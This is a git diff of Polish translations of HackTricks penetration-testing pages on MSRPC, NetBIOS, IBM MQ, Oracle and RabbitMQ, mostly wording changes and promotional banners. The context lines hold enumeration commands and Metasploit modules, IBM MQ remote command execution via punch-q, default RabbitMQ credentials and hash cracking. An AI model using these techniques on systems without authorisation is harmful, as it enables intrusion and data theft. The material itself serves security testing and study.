Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
Mapper punktów końcowych RPC można uzyskać za pomocą portu TCP i UDP 135, SMB na TCP 139 i 445 (z sesją null lub uwierzytelnioną) oraz jako usługa internetowa na porcie TCP 593.
|
||||
**Wgląd w Hacking**\
|
||||
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
## Podstawowe Informacje
|
||||
|
||||
Protokół Microsoft Remote Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a następnie został rozwinięty i objęty prawami autorskimi przez Microsoft.
|
||||
|
||||
Mapper punktów końcowych RPC można uzyskać przez port TCP i UDP 135, SMB na TCP 139 i 445 (z sesją null lub uwierzytelnioną) oraz jako usługę internetową na porcie TCP 593.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
@ -18,7 +33,7 @@ Inicjowany przez aplikację kliencką, proces MSRPC polega na wywołaniu lokalne
|
||||
|
||||
## **Identyfikacja wystawionych usług RPC**
|
||||
|
||||
Wystawienie usług RPC przez TCP, UDP, HTTP i SMB można określić, zapytując usługę lokalizatora RPC oraz poszczególne punkty końcowe. Narzędzia takie jak rpcdump ułatwiają identyfikację unikalnych usług RPC, oznaczonych wartościami **IFID**, ujawniając szczegóły usługi i powiązania komunikacyjne:
|
||||
Ekspozycję usług RPC przez TCP, UDP, HTTP i SMB można określić, zapytując usługę lokalizatora RPC oraz poszczególne punkty końcowe. Narzędzia takie jak rpcdump ułatwiają identyfikację unikalnych usług RPC, oznaczonych wartościami **IFID**, ujawniając szczegóły usługi i powiązania komunikacyjne:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
@ -26,7 +41,7 @@ Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
Dostęp do usługi lokalizatora RPC jest włączony przez określone protokoły: ncacn_ip_tcp i ncadg_ip_udp do dostępu przez port 135, ncacn_np dla połączeń SMB oraz ncacn_http dla komunikacji RPC opartej na sieci web. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135:
|
||||
Dostęp do usługi lokalizatora RPC jest włączony przez określone protokoły: ncacn_ip_tcp i ncadg_ip_udp do dostępu przez port 135, ncacn_np dla połączeń SMB oraz ncacn_http dla komunikacji RPC opartej na sieci. Poniższe polecenia ilustrują wykorzystanie modułów Metasploit do audytowania i interakcji z usługami MSRPC, koncentrując się głównie na porcie 135:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
@ -89,4 +104,19 @@ Możliwe jest wykonanie zdalnego kodu na maszynie, jeśli dostępne są poświad
|
||||
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Wgląd w hacking**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
### Usługa Nazw
|
||||
|
||||
Aby urządzenie mogło uczestniczyć w sieci NetBIOS, musi mieć unikalną nazwę. Osiąga się to poprzez **proces rozgłaszania**, w którym wysyłany jest pakiet "Zapytanie o nazwę". Jeśli nie wpłyną żadne zastrzeżenia, nazwa jest uznawana za dostępną. Alternatywnie, można bezpośrednio zapytać **serwer Usługi Nazw**, aby sprawdzić dostępność nazwy lub rozwiązać nazwę na adres IP. Narzędzia takie jak `nmblookup`, `nbtscan` i `nmap` są wykorzystywane do enumeracji usług NetBIOS, ujawniając nazwy serwerów i adresy MAC.
|
||||
Aby urządzenie mogło uczestniczyć w sieci NetBIOS, musi mieć unikalną nazwę. Osiąga się to poprzez **proces rozgłoszeniowy**, w którym wysyłany jest pakiet "Zapytanie o nazwę". Jeśli nie wpłyną żadne zastrzeżenia, nazwa jest uznawana za dostępną. Alternatywnie, można bezpośrednio zapytać **serwer Usługi Nazw**, aby sprawdzić dostępność nazwy lub rozwiązać nazwę na adres IP. Narzędzia takie jak `nmblookup`, `nbtscan` i `nmap` są wykorzystywane do enumeracji usług NetBIOS, ujawniając nazwy serwerów i adresy MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Usługa dystrybucji datagramów
|
||||
|
||||
Datagramy NetBIOS umożliwiają komunikację bezpołączeniową za pomocą UDP, wspierając bezpośrednie wiadomości lub nadawanie do wszystkich nazw w sieci. Usługa ta korzysta z portu **138/udp**.
|
||||
Datagramy NetBIOS umożliwiają komunikację bezpołączeniową za pomocą UDP, wspierając bezpośrednie wiadomości lub broadcasting do wszystkich nazw w sieci. Usługa ta korzysta z portu **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
|
@ -27,7 +27,7 @@ Dla bardziej manualnego podejścia, użyj biblioteki Pythona **[pymqi](https://g
|
||||
3. Rozpakuj (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
4. Uruchom `sudo ./mqlicense.sh`, aby zaakceptować warunki licencji.
|
||||
|
||||
> Jeśli używasz Kali Linux, zmodyfikuj plik `mqlicense.sh`: usuń/skomentuj następujące linie (między liniami 105-110):
|
||||
> Jeśli jesteś na Kali Linux, zmodyfikuj plik `mqlicense.sh`: usuń/skomentuj następujące linie (między liniami 105-110):
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
@ -56,7 +56,7 @@ Po prostu użyj: `sudo docker run --rm -ti leonjza/punch-q`.
|
||||
|
||||
#### Bez Dockera
|
||||
|
||||
Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcjami w pliku readme dotyczącymi instalacji (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcją w readme dotyczącą instalacji (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
|
||||
Po tym można go używać za pomocą polecenia `punch-q`.
|
||||
|
||||
@ -64,7 +64,7 @@ Po tym można go używać za pomocą polecenia `punch-q`.
|
||||
|
||||
Możesz spróbować wyenumerować **nazwę menedżera kolejek, użytkowników, kanały i kolejki** za pomocą **punch-q** lub **pymqi**.
|
||||
|
||||
### Menedżer kolejek
|
||||
### Menedżer Kolejek
|
||||
|
||||
Czasami nie ma ochrony przed uzyskaniem nazwy Menedżera Kolejek:
|
||||
```bash
|
||||
@ -197,7 +197,7 @@ Możesz celować w kolejki/kanaly, aby podsłuchiwać/zrzucać wiadomości z nic
|
||||
>
|
||||
> _Uwaga: zawsze zgodnie z dokumentacją IBM MQ (Referencja administracyjna), istnieje również punkt końcowy HTTP pod `/admin/action/qmgr/{qmgrName}/mqsc`, aby uruchomić równoważne polecenie MQSC do tworzenia usługi (`DEFINE SERVICE`). Ten aspekt nie został jeszcze tutaj omówiony._
|
||||
|
||||
Tworzenie / usuwanie usługi za pomocą PCF do zdalnego wykonania programu można zrealizować za pomocą **punch-q**:
|
||||
Tworzenie / usuwanie usługi za pomocą PCF do zdalnego wykonania programu można wykonać za pomocą **punch-q**:
|
||||
|
||||
**Przykład 1**
|
||||
```bash
|
||||
@ -224,7 +224,7 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Bądź świadomy, że uruchomienie programu jest asynchroniczne. Dlatego potrzebujesz drugiego elementu, aby wykorzystać exploit** **_(nasłuchiwacz dla odwrotnego powłoki, tworzenie pliku na innej usłudze, eksfiltracja danych przez sieć ...)_**
|
||||
**Bądź świadomy, że uruchomienie programu jest asynchroniczne. Dlatego potrzebujesz drugiego elementu, aby wykorzystać exploit** **_(nasłuchiwacz dla odwrotnej powłoki, tworzenie pliku na innej usłudze, eksfiltracja danych przez sieć ...)_**
|
||||
|
||||
**Przykład 2**
|
||||
|
||||
@ -309,7 +309,7 @@ Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do [dokumenta
|
||||
Jeśli chcesz przetestować zachowanie IBM MQ i exploity, możesz skonfigurować lokalne środowisko oparte na Dockerze:
|
||||
|
||||
1. Posiadanie konta na ibm.com i cloud.ibm.com.
|
||||
2. Utworzenie konteneryzowanego IBM MQ z:
|
||||
2. Utwórz kontenerowy IBM MQ z:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
@ -324,8 +324,8 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
```
|
||||
> Stare wersje obrazów dockera IBM MQ znajdują się pod adresem: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## Odniesienia
|
||||
## References
|
||||
|
||||
- [mgeeky's gist - "Praktyczne notatki dotyczące testów penetracyjnych IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Dokumentacja IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
@ -30,7 +30,7 @@ Sprawdź te posty:
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
## Automatyczne komendy HackTricks
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
|
@ -2,17 +2,21 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
## Podstawowe informacje
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Możesz dowiedzieć się więcej o RabbitMQ w [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
||||
Na tym porcie możesz znaleźć konsolę zarządzania RabbitMQ, jeśli [plugin zarządzania](https://www.rabbitmq.com/management.html) jest włączony.\
|
||||
Na tym porcie możesz znaleźć konsolę webową RabbitMQ Management, jeśli [plugin zarządzania](https://www.rabbitmq.com/management.html) jest włączony.\
|
||||
Główna strona powinna wyglądać tak:
|
||||
|
||||
.png>)
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
Domyślne dane logowania to "_**guest**_":"_**guest**_". Jeśli nie działają, możesz spróbować [**brute-force the login**](../generic-hacking/brute-force.md#http-post-form).
|
||||
|
||||
@ -25,7 +29,7 @@ Po poprawnej autoryzacji zobaczysz konsolę administratora:
|
||||
|
||||
.png>)
|
||||
|
||||
Jeśli masz ważne dane logowania, możesz znaleźć interesujące informacje pod adresem `http://localhost:15672/api/connections`
|
||||
Jeśli masz ważne dane uwierzytelniające, możesz znaleźć interesujące informacje pod adresem `http://localhost:15672/api/connections`
|
||||
|
||||
Zauważ również, że możliwe jest **publikowanie danych wewnątrz kolejki** za pomocą API tej usługi, wysyłając żądanie takie jak:
|
||||
```bash
|
||||
@ -47,6 +51,10 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
|
||||
|
||||
- `port:15672 http`
|
||||
|
||||
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user